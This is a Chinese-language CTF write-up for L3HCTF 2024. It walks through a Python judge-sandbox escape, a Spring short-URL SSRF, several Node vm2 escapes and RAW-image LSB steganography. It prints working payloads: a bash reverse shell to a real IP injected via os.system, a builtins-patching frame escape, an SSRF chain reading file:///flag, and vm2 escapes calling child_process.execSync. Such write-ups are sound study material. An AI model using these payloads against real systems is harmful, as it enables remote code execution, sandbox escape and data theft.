L3HCTF 2024
Web
intractable problem
给出附件
# web.py import flask import time import random import os import subprocess codes="" with open("oj.py","r") as f: codes=f.read() flag="" with open("/flag","r") as f: flag=f.read() app = flask.Flask(__name__) @app.route('/') def index(): return flask.render_template('ui.html') @app.route('/judge', methods=['POST']) def judge(): code = flask.request.json['code'].replace("def factorization(n: string) -> tuple[int]:","def factorization(n):") correctstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20)) wrongstr = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', 20)) print(correctstr,wrongstr) code=codes.replace("Correct",correctstr).replace("Wrong",wrongstr).replace("<<codehere>>",code) filename = "upload/"+str(time.time()) + str(random.randint(0, 1000000)) with open(filename + '.py', 'w') as f: f.write(code) try: result = subprocess.run(['python3', filename + '.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8") os.remove(filename + '.py') print(result) if(result.endswith(correctstr+"!")): return flask.jsonify("Correct!flag is "+flag) else: return flask.jsonify("Wrong!") except: os.remove(filename + '.py') return flask.jsonify("Timeout!") if __name__ == '__main__': app.run("0.0.0.0")
# oj.py import sys import os codes=''' <<codehere>> ''' try: codes.encode("ascii") except UnicodeEncodeError: exit(0) if "__" in codes: exit(0) codes+="\nres=factorization(c)" locals={"c":"696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863","__builtins__": None} res=set() def blackFunc(oldexit): def func(event, args): blackList = ["process","os","sys","interpreter","cpython","open","compile","__new__","gc"] for i in blackList: if i in (event + "".join(str(s) for s in args)).lower(): print(i) oldexit(0) return func code = compile(codes, "<judgecode>", "exec") sys.addaudithook(blackFunc(os._exit)) exec(code,{"__builtins__": None},locals) p=int(locals["res"][0]) q=int(locals["res"][1]) if(p>1e5 and q>1e5 and p*q==int("696287028823439285412516128163589070098246262909373657123513205248504673721763725782111252400832490434679394908376105858691044678021174845791418862932607425950200598200060291023443682438196296552959193310931511695879911797958384622729237086633102190135848913461450985723041407754481986496355123676762688279345454097417867967541742514421793625023908839792826309255544857686826906112897645490957973302912538933557595974247790107119797052793215732276223986103011959886471914076797945807178565638449444649884648281583799341879871243480706581561222485741528460964215341338065078004726721288305399437901175097234518605353898496140160657001466187637392934757378798373716670535613637539637468311719923648905641849133472394335053728987186164141412563575941433170489130760050719104922820370994229626736584948464278494600095254297544697025133049342015490116889359876782318981037912673894441836237479855411354981092887603250217400661295605194527558700876411215998415750392444999450257864683822080257235005982249555861378338228029418186061824474448847008690117195232841650446990696256199968716183007097835159707554255408220292726523159227686505847172535282144212465211879980290126845799443985426297754482370702756554520668240815554441667638597863")): print("Correct!",end="") else: print("Wrong!",end="")
一通审计下来,就是把我们前端输入的代码替换oj.py
的<<codehere>>
这个地方,然后在web.py
中生成一个替换后的oj.py
的py文件,然后用系统指令运行新生成的py文件
在oj.py
中,又创建一个沙箱来执行我们传入的函数,并且过滤了__
,还有一些函数;sys.addaudithook()
只作用于沙箱里面(不是很理解原因,我感觉是里面外面都会起作用的感觉),直接用'''
闭合拼接而已代码就能通
def factorization (n: string ) -> tuple [int ]: return 10 ,100 ''' os.system("bash -c 'bash -i >& /dev/tcp/120.76.194.25/2323 0>&1'") a = '''
intractable problem revenge
题目基本是上面一样,但是说是修复了非预期,那就是把'''
的做法禁止了,就需要通过沙箱逃逸来做,官方wp是使用生成器的栈帧来逃逸,获取globals符号表,然后污染内置函数int
,以此来绕过输出flag
的条件
def factorization (n ): a=(a.gi_frame.f_back.f_back for i in [1 ]) a=[x for x in a][0 ] globals =a.f_back.f_back.f_globals builtin = globals ["_" + "_builtins_" + "_" ] def fakeint (i ): if (builtin.len (i)>100 ): return 123123 *123123 else : return 123123 builtin.int =fakeint return '1' ,'2'
a=(a.gi_frame.f_back.f_back for i in [1])
:生成器表达式
a=[x for x in a][0]
:由于__builtins__
为空,内置函数next()
不能使用,该写法等效于next()
short url
反编译一下jar包
public class DemoApplication { @Value("${website.RedirectURL}") private String RedirectURL; public static void main (String[] args) { SpringApplication.run(DemoApplication.class, args); } @GetMapping({"/"}) public Object index () { return ResponseEntity.status(HttpStatus.FOUND).location(URI.create("/index.html" )).body("redirect" ); } @PostMapping({"/share"}) public Object share (@RequestParam(required = true) String link) { try { UriComponents uri = UriComponentsBuilder.fromUriString(link).build(); String protocal = uri.getScheme(); if (!protocal.equals("http" )) { return "url is invalid" ; } String shortURL = Utils.GetShortURL(); CacheMap.getInstance().put(shortURL, link); return this .RedirectURL + shortURL; } catch (Exception e) { return "server error" ; } } @GetMapping({"/jump"}) public Object jump (@RequestParam(required = true) String redirect) { String url = CacheMap.getInstance().get(redirect); if (url == null ) { return ResponseEntity.status(HttpStatus.NOT_FOUND).body("url not found" ); } return ResponseEntity.status(HttpStatus.FOUND).location(URI.create(url)).body(url); } }
这是主要的路由,还有另外两个路由
public class TempTest { @Value("${website.BaseURL}") private String BaseURL; public String Fetch (String url) { String result = "" ; try { URL new_url = new URI (url).toURL(); URLConnection urlConnection = new_url.openConnection(); urlConnection.setConnectTimeout(1000 ); urlConnection.setReadTimeout(1000 ); result = new String (urlConnection.getInputStream().readAllBytes()); } catch (Exception e) { e.printStackTrace(); } return result; } @GetMapping({"/test"}) public String test (@RequestParam(required = true) String redirect) { String url = CacheMap.getInstance().get(redirect); if (url == null ) { return "url not found" ; } UriComponents uri = UriComponentsBuilder.fromUriString(url).build(); String paramUrl = uri.getQueryParams().getFirst("url" ); if (paramUrl != null ) { UriComponents newUri = UriComponentsBuilder.fromUriString(paramUrl).build(); String newHost = newUri.getHost(); if (newHost == null || !newHost.equals(this .BaseURL)) { return "url is invalid" ; } } return Fetch(url); } @GetMapping({"/private"}) public String privateTest (HttpServletRequest request, @RequestParam(required = true) String url) { String ip = request.getRemoteAddr(); if (!ip.equals("127.0.0.1" )) { return "not allowed" ; } return Fetch(url); } }
但是MyIntercepter
对上面的两个路由进行了拦截,返回418
public class MyIntercepter implements HandlerInterceptor { @Override public boolean preHandle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (request.getRequestURI().equals("/private" ) || request.getRequestURI().equals("/test" )) { response.setStatus(WebdavStatus.SC_UNPROCESSABLE_ENTITY); return false ; } return true ; } }
主要的逻辑就是,通过/share
路由传参一个http
(只能http
开头)协议的url
,然后生成一个由字母组成的"标识符",然后以键值对的形式存储到ConcurrentHashMap
中
/jump
路由则是以redirect
参数传入"标识符",去ConcurrentHashMap
中取出原本的url
,用来访问
/test
和/private
路由可以由/test/
和/private/
来绕过
/test/
路由要求如果取出的url
包含参数url
则url
的host
不能为空且一定要等于www.example.com
,经过判断后才会进行Fetch()
相当于curl
/private/
路由则通过getRemoteAddr
来限制访问ip为本地,对url
协议不进行限制,可以使用file
来读文件
于是就有挺多做法
我自己的是,在vps上用php开一个http服务index.php
<?php header ("Location: http://127.0.0.1:8080/private/?url=file:///flag" );?>
先去/share
路由里面,生成一个上面的页面http://vpsip
的短链接,左后用这个短链接去/test/
路由访问http://ip:port/test/?redirect=短链接
,即可重定向读取flag文件
image-20240213233352177
官方wp是:
config中configurer.setUseTrailingSlashMatch(true)
。即可以使用/private/
和/test/
绕过拦截,/test
路由检验了host必须为www.example.com
,此时可以利用org.springframework.web.util.UriComponents
拼接多个相同param的特点,将url拆分为两部分,exp如下:
import requestsfrom urllib import parseres = requests.post("http://localhost:8080/share" , data={ "link" : "http://127.0.0.1:8080/private/?url=file://www.example.com&url=@/flag" }) print (res.text)url = parse.urlparse(res.text).query redirect_url = parse.parse_qs(url)['redirect' ][0 ] test_url = "http://localhost:8080/test/?redirect=" + redirect_url res = requests.get(test_url) print (res.text)
escape-web
nodejs的vm2逃逸,也没环境了,就抄一下官方wp跟记录一下payload跟做法吧,去这里 找一个payload
查看进程列表可知跑的是node /app/dist.js
进入/app目录,code.js是用户输入的代码,dist.js是打包的程序代码,查看程序代码并没有写文件,猜测error.txt和output.txt是管道重定向产生的文件,挂载在容器内由外部进行读取。
将output.txt软链接到/flag即可读取flag。
async function fn ( ) { (function stack ( ) { new Error ().stack ; stack (); })(); } p = fn (); p.constructor = { [Symbol .species ]: class FakePromise { constructor (executor ) { executor ( (x ) => x, (err ) => { return err.constructor .constructor ('return process' )( ).mainModule .require ('child_process' ).execSync ('ln -sf /flag /app/output.txt' ).toString (); } ) } } }; p.then ();
再记多几个vm2 payload
const {VM } = require ("vm2" );const vm = new VM ();const code = ` aVM2_INTERNAL_TMPNAME = {}; function stack() { new Error().stack; stack(); } try { stack(); } catch (a$tmpname) { a$tmpname.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); } ` console .log (vm.run (code));
const {VM } = require ("vm2" );const vm = new VM ();const code = ` const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom'); obj = { [customInspectSymbol]: (depth, opt, inspect) => { inspect.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); }, valueOf: undefined, constructor: undefined, } WebAssembly.compileStreaming(obj).catch(()=>{}); ` ;vm.run (code);
Misc
RAWaterMark
我怎么都没想到这个会是lsb,哎哟~
可以先用exiftool
查看一下图像数据的偏移
image-20240214103859812
可知偏移是565248
,就是在整个图片文件中从565248
字节开始才是图片的数据,隐写从这里开始
而官方wp说Uncompressed
RAW每个Sample记录了14Bits的数据,放在了一个short里面,而且用的是小端序来存储,所以使用struct.unpack()
来解包图片数据struct.unpack('<'+f'{width*height}H', raw_data)
,<
是指小端序,H
是指unsigned short
然后提取lsb即可
import structwidth = 6048 height = 4024 offset = 565248 with open ('./image.ARW' , 'rb' ) as f: file = f.read() raw_data = file[offset:offset+width*height*2 ] raw_image = struct.unpack('<' +f'{width*height} H' , raw_data) raw_image = list (raw_image) flag = '' for idx,i in enumerate (raw_image): flag += str (i & 1 ) assert len (flag) % 8 == 0 flag = [flag[i:i+8 ] for i in range (0 , len (flag), 8 )] flag = bytes ([int (i,2 ) for i in flag]) open ('./iiflag.zip' , 'wb' ).write(flag)